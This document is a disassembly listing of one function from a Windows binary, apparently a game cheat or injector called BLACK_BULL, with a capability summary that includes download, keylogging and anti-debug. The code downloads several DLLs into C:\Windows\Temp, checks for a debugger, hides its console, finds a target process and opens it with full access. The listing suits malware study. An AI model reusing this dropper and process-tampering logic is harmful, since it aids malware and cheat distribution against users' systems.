Function at 0x140067440
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread
Download url
Enumerate processes
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Set registry value
Terminate process
Terminate process by name

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0xdf00]
mov eax, 0xe000
call fcn.14013b1d0
sub rsp, rax
lea rdx, [rbp + 0x18d0]
xor r14d, r14d
lea rdx, [rdx + 0x80]
mov qword [rsp + 0x20], r14
lea rbx, [0x140000000]
xor r9d, r9d
movups xmm0, xmmword [rbx + 0x17c890]
lea rcx, [rbx + 0x17c890]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
lea r8, [rbp + 0x9e0]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
movups xmmword [rdx + 0x20], xmm1
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x18d0]
movzx eax, word [0x14017c860]
mov word [rbp + 0x9f8], ax
movzx eax, byte [0x14017c862]
movups xmmword [rbp + 0x9e0], xmm0
mov byte [rbp + 0x9fa], al
movsd xmm0, qword [0x14017c858]
movsd qword [rbp + 0x9f0], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x17c950]
lea rcx, [rbx + 0x17c950]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x1990]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x14017c838]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movups xmm0, xmmword [str.C:WindowsTempFX_BLUE_BOX.dll]
mov eax, dword [rcx + 0xb8]
mov dword [rdx + 0x38], eax
movups xmmword [rbp + 0x1158], xmm0
movups xmmword [rbp + 0x1168], xmm1
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x1158]
xor ecx, ecx
lea rdx, [rbp + 0x1990]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x17ca10]
lea rcx, [rbx + 0x17ca10]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1a50]
mov qword [rsp + 0x20], r14
movups xmmword [rdx], xmm0
lea r8, [rbp + 0xfe0]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x14017c810]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
movups xmm0, xmmword [str.C:WindowsTempChamsMenu2.0.dll]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
xor ecx, ecx
mov byte [rdx + 0x3c], al
lea rdx, [rbp + 0x1a50]
movzx eax, byte [0x14017c820]
mov byte [rbp + 0x1000], al
movups xmmword [rbp + 0xfe0], xmm0
movups xmmword [rbp + 0xff0], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x17cad0]
lea rcx, [rbx + 0x17cad0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1b10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
movups xmm0, xmmword [str.C:WindowsTempPERSONAJES_3D.dll]
mov word [rdx + 0x3c], ax
xor r9d, r9d
movups xmm1, xmmword [0x14017c878]
movzx eax, word [0x14017c888]
lea r8, [rbp + 0x1008]
lea rdx, [rbp + 0x1b10]
mov word [rbp + 0x1028], ax
xor ecx, ecx
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0x1008], xmm0
movups xmmword [rbp + 0x1018], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400677e3
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Debugger_detected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
add rsp, 0xe000
pop r14
pop rbx
pop rbp
ret
mov qword [rsp + 0xe020], rsi
mov qword [rsp + 0xe028], rdi
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, str.C:WindowsSystem32charme_compressed.dll
mov edx, 0x104
lea rcx, [rbp + 0x1bd0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str.C:WindowsSystem32kernel64.dll
mov edx, 0x104
lea rcx, [rbp + 0x1ce0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [0x1405cc530]
call fcn.1400e4cc0
mov ebx, dword [0x1405ab168]
test ebx, ebx
jne 0x140067905
cmp qword [0x1405ab2b0], r14
jne 0x14006787d
mov ecx, reloc.WS2_32.dll_recv
call fcn.14013a7f4
mov dword [rax + 8], r14d
mov qword [0x1405ab2b0], rax
xor edx, edx
mov ecx, 2
mov ebx, r14d
mov edi, r14d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x1670]
mov dword [rbp + 0x1670], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x1670]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400678ff
lea rdx, [0x14017bed8]
lea rcx, [rbp + 0x169c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x1400678eb
mov eax, dword [rbp + 0x168c]
cmp eax, edi
jle 0x1400678eb
mov ebx, dword [rbp + 0x1678]
mov edi, eax
lea rdx, [rbp + 0x1670]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400678c1
mov dword [0x1405ab168], ebx
mov rdi, qword [0x1405ab2b0]
test rdi, rdi
jne 0x14006792f
mov ecx, reloc.WS2_32.dll_recv
call fcn.14013a7f4
mov rdi, rax
mov dword [rax + 8], r14d
mov ebx, dword [0x1405ab168]
mov qword [0x1405ab2b0], rax
mov dword [rdi + 8], ebx
test ebx, ebx
jne 0x1400679b1
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x17a0]
mov dword [rbp + 0x17a0], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x17a0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400679ae
nop dword [rax]
nop dword [rax + rax]
lea rdx, [0x14017bed8]
lea rcx, [rbp + 0x17cc]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0x17a8]
lea rdx, [rbp + 0x17a0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140067980
mov dword [rdi + 8], ebx
cmp dword [rdi + 8], r14d
je 0x1400679ca
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
cmp byte [0x1405cc748], r14b
jne 0x140067a04
lea rcx, [0x1405cc750]
call fcn.14004ec80
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 8
call fcn.14013a7f4
lea rcx, [0x1400633d0]
mov r9, rax
lea r8, [0x140071850]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x518]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x510], rax
test rax, rax
je 0x1400701fb
mov qword [rsp + 0xe030], r12
mov r12d, 1
mov qword [rsp + 0xdff8], r13
mov qword [rsp + 0xdff0], r15
movaps xmmword [rsp + 0xdfe0], xmm6
movaps xmmword [rsp + 0xdfd0], xmm7
movaps xmmword [rsp + 0xdfc0], xmm8
movaps xmmword [rsp + 0xdfb0], xmm9
movaps xmmword [rsp + 0xdfa0], xmm10
movaps xmmword [rsp + 0xdf90], xmm11
movaps xmmword [rsp + 0xdf80], xmm12
movaps xmmword [rsp + 0xdf70], xmm13
movaps xmmword [rsp + 0xdf60], xmm14
movaps xmmword [rsp + 0xdf50], xmm15
cmp dword [rbp + 0x518], r14d
je 0x1400701f1
movaps xmm0, xmmword [rbp + 0x510]
lea rcx, [rbp + 0xe0]
movdqa xmmword [rbp + 0xe0], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400701f1
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x510], xmm0
call fcn.140063430
lea rax, [0x140070380]
mov dword [rbp + 0x870], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x878], rax
xor ecx, ecx
mov dword [rbp + 0x874], 0x40
mov qword [rbp + 0x880], r14
mov qword [rbp + 0x888], r14
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x890], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x8a0], r14
mov qword [rbp + 0x898], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x8a8], rax
lea rax, str.Example
mov qword [rbp + 0x8b0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x870]
mov qword [rbp + 0x8b8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x15e]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r14
lea r8, str.BLACK_BULL
mov qword [rsp + 0x50], r14
cdq
mov qword [rsp + 0x48], r14
sub eax, edx
mov rdx, qword [rbp + 0x8b0]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r14
xor ecx, ecx
mov dword [rsp + 0x38], 0x2bc
sar eax, 1
sub eax, 0x1ef
mov dword [rsp + 0x30], 0x3de
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + 0x58], rax
mov edx, 0xffffffec
mov r13, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xffffffec
mov rcx, r13
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, r13
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x14017e160]
lea rdx, [rbp + 0xcc8]
mov rcx, r13
movdqu xmmword [rbp + 0xcc8], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
lea rdx, [rbp + 0x78]
mov rcx, r13
movups xmmword [rbp + 0x78], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rbp + 0x824], r14
mov qword [rbp + 0x838], 2
lea rax, [rbp + 0x90]
mov qword [rbp + 0x850], 2
lea rbx, [0x1405e1038]
mov qword [rbp + 0x810], r14
mov qword [rsp + 0x58], rbx
lea rdi, [0x1405e1028]
mov qword [rsp + 0x50], rax
lea rsi, [0x1405e1020]
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x810]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x70]
mov dword [rsp + 0x28], 2
mov edx, r12d
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x820], Ordinal_32
mov dword [rbp + 0x818], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x81c], r12d
mov dword [rbp + 0x834], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x840], r13
mov qword [rbp + 0x82c], r12
mov qword [rbp + 0x848], r12
mov dword [rbp + 0x70], 0xb000
mov dword [rbp + 0x74], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x140067db2
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x90]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x810]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0x70]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x1400701ca
mov rcx, qword [0x1405e1020]
lea r9, [rbp + 0x4c0]
lea r8, [0x14017bd00]
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [0x1405e1028]
lea r9, [0x1405e1018]
mov rdx, qword [rbp + 0x4c0]
xor r8d, r8d
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [rbp + 0x4c0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0xa
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r13
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdi, qword [0x1405ab080]
test rdi, rdi
je 0x140067e33
inc dword [rdi + 0xf4]
mov rdx, qword [0x1405ab070]
mov ecx, 0x5e50
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x140067e55
xor edx, edx
mov rcx, rax
call fcn.140002300
jmp 0x140067e58
mov rax, r14
mov qword [0x1405ab080], rax
call fcn.140006b10
test rdi, rdi
je 0x140067e72
mov qword [0x1405ab080], rdi
jmp 0x140067e79
mov rdi, qword [0x1405ab080]
test rdi, rdi
jne 0x140067e9f
mov r8d, 0x1033
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x1405ab080]
or dword [rdi + 8], 3
xorps xmm1, xmm1
movups xmmword [rbp + 0x5b0], xmm1
xor eax, eax
mov dword [rbp + 0x5b8], 3
movups xmmword [rbp + 0x5e0], xmm1
mov qword [rbp + 0x620], rax
mov eax, 0xffff
movups xmmword [rbp + 0x5f0], xmm1
mov word [rbp + 0x5f4], ax
movups xmmword [rbp + 0x5a0], xmm1
mov byte [rbp + 0x5ac], r12b
movaps xmmword [rbp + 0x5c0], xmm1
xorps xmm3, xmm3
movaps xmmword [rbp + 0x5d0], xmm3
xorps xmm4, xmm4
movaps xmmword [rbp + 0x600], xmm4
xorps xmm5, xmm5
movaps xmmword [rbp + 0x610], xmm5
mov dword [rbp + 0x5bc], r12d
mov dword [rbp + 0x5e4], 0x7f7fffff
mov dword [rbp + 0x5f0], 0x3f800000
mov dword [rbp + 0x5ec], 0x10c
mov rbx, qword [rdi + 0x58]
cmp byte [rbx + 0x18], r14b
je 0x140067f72
mov r8d, 0xb89
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm5, xmmword [rbp + 0x610]
movaps xmm4, xmmword [rbp + 0x600]
movaps xmm3, xmmword [rbp + 0x5d0]
movaps xmm1, xmmword [rbp + 0x5c0]
movaps xmm0, xmmword [rbp + 0x5b0]
movaps xmm2, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x120], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0x5e0]
movaps xmmword [rbp + 0x150], xmm0
movsd xmm0, qword [rbp + 0x620]
movaps xmmword [rbp + 0x130], xmm1
movaps xmm1, xmmword [rbp + 0x5f0]
movsd qword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x110], xmm2
movaps xmmword [rbp + 0x140], xmm3
movaps xmmword [rbp + 0x160], xmm1
movaps xmmword [rbp + 0x170], xmm4
movaps xmmword [rbp + 0x180], xmm5
test rax, rax
je 0x140067ffa
mov r8d, 0xb8b
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14041ae30]
mov dword [rbp + 0x118], 0x4ba44
lea rsi, [0x1401769a0]
mov qword [rbp + 0x110], rax
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x148], rsi
mov rcx, rbx
mov dword [rbp + 0x124], 0x41880000
call fcn.140031c10
mov rbx, qword [rdi + 0x58]
cmp byte [rbx + 0x18], r14b
je 0x14006805d
mov r8d, 0xb89
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm0, xmmword [rbp + 0x5b0]
movaps xmm1, xmmword [rbp + 0x5c0]
movaps xmm2, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x120], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0x5d0]
movaps xmmword [rbp + 0x130], xmm1
movaps xmm1, xmmword [rbp + 0x5e0]
movaps xmmword [rbp + 0x140], xmm0
movaps xmm0, xmmword [rbp + 0x5f0]
movaps xmmword [rbp + 0x150], xmm1
movaps xmm1, xmmword [rbp + 0x600]
movaps xmmword [rbp + 0x160], xmm0
movaps xmm0, xmmword [rbp + 0x610]
movaps xmmword [rbp + 0x170], xmm1
movsd xmm1, qword [rbp + 0x620]
movaps xmmword [rbp + 0x180], xmm0
movsd qword [rbp + 0x190], xmm1
movaps xmmword [rbp + 0x110], xmm2
test rax, rax
je 0x140068101
mov r8d, 0xb8b
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1403343a0]
mov dword [rbp + 0x118], 0x4d2c4
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x110], rax
mov rcx, rbx
mov dword [rbp + 0x124], 0x41880000
mov qword [rbp + 0x148], rsi
call fcn.140031c10
mov qword [0x1405ab298], rax
mov rbx, qword [rdi + 0x58]
cmp byte [rbx + 0x18], r14b
je 0x140068164
mov r8d, 0xb89
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm0, xmmword [rbp + 0x5b0]
movaps xmm1, xmmword [rbp + 0x5c0]
movaps xmm2, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x120], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0x5d0]
movaps xmmword [rbp + 0x130], xmm1
movaps xmm1, xmmword [rbp + 0x5e0]
movaps xmmword [rbp + 0x140], xmm0
movaps xmm0, xmmword [rbp + 0x5f0]
movaps xmmword [rbp + 0x150], xmm1
movaps xmm1, xmmword [rbp + 0x600]
movaps xmmword [rbp + 0x160], xmm0
movaps xmm0, xmmword [rbp + 0x610]
movaps xmmword [rbp + 0x170], xmm1
movsd xmm1, qword [rbp + 0x620]
movaps xmmword [rbp + 0x180], xmm0
movsd qword [rbp + 0x190], xmm1
movaps xmmword [rbp + 0x110], xmm2
test rax, rax
je 0x140068208
mov r8d, 0xb8b
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14046bd10]
mov dword [rbp + 0x118], 0xb18
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x110], rax
mov rcx, rbx
mov dword [rbp + 0x124], 0x41700000
mov qword [rbp + 0x148], rsi
call fcn.140031c10
xor ecx, ecx
mov qword [0x1405ab150], rax
call fcn.14002a220
cmp qword [0x1405ab0e0], r14
mov qword [rbp + 0xa8], 0xffffffffffffffff
mov qword [rbp + 0xb0], 0xffffffffffffffff
mov qword [rbp + 0xb8], 0xffffffffffffffff
mov qword [rbp + 0xc0], 0xffffffffffffffff
mov dword [rbp + 0xc8], 0xffffffff
mov qword [rbp + 0xcc], 0xfffffffffffffffd
mov dword [rbp + 0xd4], 0xffffffff
mov qword [rbp + 0xd8], r14
jne 0x1400682e0
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0e0]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14046c830]
mov r8d, 0x1164b3
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab2a8], r14
jne 0x140068320
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab2a8]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14019bba0]
mov r8d, 0x1912f9
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0b8], r14
jne 0x140068360
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0b8]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403bc7a0]
mov r8d, 0x55cb
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0d8], r14
jne 0x1400683a0
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0d8]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403f2c40]
mov r8d, 0x720a
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0c0], r14
jne 0x1400683e0
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0c0]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140381670]
mov r8d, 0xc510
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0e8], r14
jne 0x140068420
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0e8]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140466880]
mov r8d, 0x5488
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0f8], r14
jne 0x140068460
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0f8]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1405a8850]
mov r8d, 0x245
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0f0], r14
jne 0x1400684a0
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0f0]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1405a8aa0]
mov r8d, 0x134
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab2a0], r14
jne 0x1400684e0
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab2a0]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14019b950]
mov r8d, 0x243
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0c8], r14
jne 0x140068520
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0c8]
mov qword [rsp + 0x30], r14
lea r9, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403f0990]
mov r8d, 0x22a3
mov qword [rsp + 0x20], r14
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405ab0a8], r14
jne 0x140068560
mov rcx, qword [0x1405e1028]
lea rax, [0x1405ab0a8]
